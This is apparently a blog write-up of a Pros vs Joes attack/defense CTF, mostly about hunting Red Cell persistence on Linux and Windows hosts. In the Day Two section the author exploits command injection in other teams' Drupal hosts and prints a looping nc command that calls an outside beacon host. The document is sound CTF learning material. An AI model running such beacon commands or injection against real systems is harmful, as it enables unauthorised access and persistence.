Overview :telescope:

This was my first Attack/Defense-style CTF! I really enjoyed it due to the following factors:

  • it was fairly ad-hoc and made by the community with funding from sponsors
  • it was a great middle point between a traditional Jeopardy CTF and the chaotic/hardcore nature of the CTFs at the DEFCON level
  • there was less emphasis on competitive-ness and more on learning/knowledge-sharing!

The CTF took place from 2am 13th November to 8am 14th November. Not too bad! and probably my first night in 2021 where I woke up at 3am and played til the sunrise and birds chirping… :bird: :sunrise:

I definitely felt carried by the team especially in the Windows area as I still had a lot to learn in that respect!

BT4: Team Not Found

I found myself in a team with the following Pros and Joes:

  • hazarky (Captain)
  • warren the IT guy (Co-Captain)
  • Wendy
  • ELEPHANT
  • John
  • Shintaro
  • SpikeRoche
  • IceBane
  • Watchdog

Our team was pretty chill overall with most people not committing too hard, and the pace was very slow and suited for beginners. Here’s an idea what the scoreboard looks like:

pvj-teams

Preparations :memo:

Traditionally, the Joes and Pros start preparing weeks out in advance with up to 8 sessions!!! This year was probably different due to remote-only requirements etc. I only met up with the team twice before the comp, and there was less attendance than usual too.

I had the opportunity to learn certain things before the comp such as:

  • Gigamon Threat Insight (which they taught even during the comp)
  • BIND server (our main DNS service)
  • Pfsense (our firewall host)
  • hardening benchmarks and misc resources

We also got to discuss strategies with the team captains and familiarise with each other’s skill sets, ie. I got assigned to take care of the Linux boxes… :penguin:

Day One :large_blue_diamond: :x: :red_circle:

The first part of the comp was about each Blue Team fighting to remove the Red Cell’s persistence and beacons from their hosts. You could tell how a team was going if their scoreboard was all green, or littered with red.

The Red Cell would work to install/maintain beacons which proved control of the server, they would also periodically take down services.

The Blue Team would lose points if:

  • a host was not responsive to DNS
  • any of the services were unresponsive or returning incorrect content
  • a red cell beacon was active within their hosts (these stack)

beacons In this case we were able to maintain the uptime of our services, but were still losing points due to the Red Cell beacons (see the red circles :red_circle:)

The Gold Team (staff/infra) would also periodically retire and introduce new boxes to spice things up and keep the Blue Team on their toes.

host-list
We created a Discord group chat and had dedicated text channels for each host to keep track of history, and who was working on what. It worked out pretty well :smile:

Red Cell Shenanigans

  • When logging in to the domain controller, you would see a list of thousands of Matt Daemon users :joy:

mattdaemon

powershell.exe get-aduser -filter 'Name -like "MattDaemon*"' | Remove-ADUser -Confirm:$false
  • One of the Windows hosts had the sticky keys exploit where if you hit shift x5 times on the Windows login screen, it would pop a cmd shell: https://scriptingis.life/2017-7-17-Sticky-Keys/
  • They also reset a lot of the Administrator account passwords when we swapped them out, meaning they had other persistence mechanisms still on the machine
  • On the Linux machines, they also had a lot of bogus binaries running/stored, here is a list that were found:
/usr/sbin/back
/usr/local/bin/per1
/usr/local/sbin/aptb
/sbin/mongod
/usr/bin/SweeitPiex
/sbin/yumc
/usr/bin/backupd
/sbin/lsd
/usr/bin/python3.5
/usr/local/bin/apach3
/usr/local/bin/scored
/usr/local/bin/bak
/usr/local/bin/rebis
/usr/bin/rediz
/sbin/backupd
  • There was also quite a bit of Windows banter going on:

windows-banter-1

Chattr

Shintaro found out that you can modify file attributes and these are different from file permissions, making it so that even root cannot overwrite a file:

root@linux:/etc/ssh# lsattr sshd_config
----i--------e-- sshd_config

The immutable flag can be removed and set with chattr -i (or +i) <filename>

Ala. man page of chattr: A file with the ‘i’ attribute cannot be modified: it cannot be deleted or renamed, no link can be created to this file, most of the file’s metadata can not be modified, and the file can not be opened in write mode. Only the superuser or a process possessing the CAP_LINUX_IMMUTABLE capability can set or clear this attribute.

pstree

I also found a nice command pstree which can help trace back what parent processes might be backdoor’ed or used in a malicious manner:

root@circle:/proc/14444# pstree -s -p 14444
systemd(1)───sshd(1262)───sshd(14429)───bash(14437)───sh(14444)

ss

John shared some knowledge on using ss - tupn to list strange processes making outbound connections:

ss

From here it was easy to tell which were beacons as they were connecting to the scorebot hosts on port 8443.

Process Explorer, AutoRuns, Noriben

WatchDog used Noriben to check suspicious process activity in a sandbox.

SpikeRoche shared some awesome knowledge on Windows IR!

Process Explorer:

  • Verified Signer - checks for signed binaries
  • Image Path - see if its spawned from a non-baseline location

  • Company Name - anything without a proper company name is immediately sus

  • turn on network received and network sends, to see if anything is sending traffic

After deleting some processes, they spawns back again. From there he started using Autoruns

Autoruns:
Shows everything that’s set to autorun if a service stops or the machine reboots. From there check which are verified and weed out the false ones.

autoruns

Day Two :large_blue_diamond: :x: :yin_yang: :x: :red_circle:

Day two was same as day one, except this time the blue teams were now considered purple and could start attacking each other with whatever misconfigurations/exploits they found.

We weren’t hit too hard during this phase, I was auditing the drupal host which led to the discovery of a totally not sus config.php file:

drupal-code This code was probably default for every box, wich meant that once we patched it, we could weaponise it against other teams!

After testing and confirming command injection on other teams hosts: drupal-rce

From there, it was simply creating a background process that would call the beacon host every 5 min:

while true; do echo cf60a1a0-ebee-47a9-a1b6-0e4868f35f18 | nc 10.150.0.194 9999; sleep 5m; done

Since there wasn’t much time, I decided to yeet opsec out the window and mass exploit the teams: purple-beacon What a refreshing sight to see after other teams placed beacons on our hosts :monkey: John also got two beacons in before mine as well!

After a while though, some teams caught on and patched their config.php as well!
patched

Scorched Earth :fire:

This was the last phase during the final hour of the comp where now most of the rules are abolished and “everything goes”. Surprisngly this time round our team only lost our samba host. Perhaps the Red Cell was going easy on us… in previous years almost all the hosts went down :sweat_smile:

Here is some of the chaos that went down:
They removed certain diagnostic tools such as w, which,killall and apt.

They completely removed the /var/log directory, which apparently kills a lot of services: scorched-earth-1

They then removed binaries essential to the service such as smbd: scorched-earth-2

They also issued reboots of certain boxes to temporarily shut down services: scorched-earth-3

I was pretty tired at this point and didn’t really bother to fix the issues given there was <20 min to the game.

Debrief :man_teacher: :man_technologist:

After the competition, we were then given a one-hour debrief session where the Blue Teams and Red Cell could discuss strategies/techniques/banter that was happening during the competition. I learnt some more and took notes as well, hopefully this comes in handy next time!

As an example, by talking to @0xpookie, I found out that the Linux Go binaries were actually part of the Sliver C2 framework! The other C2 framework in use was Thunderstorm :thinking:

The Red Cell members gave lots of great advice but won’t be putting here as its too much.

Improvements

On reflection, I definitely put all my eggs in one basket: Linux.

I should try to branch out next time to work more on:

  • BIND (kepeing DNS alive throughout the match)
  • Pfsense (firewall monitoring and maintenence)
  • Windows (maintaining Windows boxes and learning too!)
  • Threat hunting/ Threat Intel (using Gigamon for monitoring network traffic)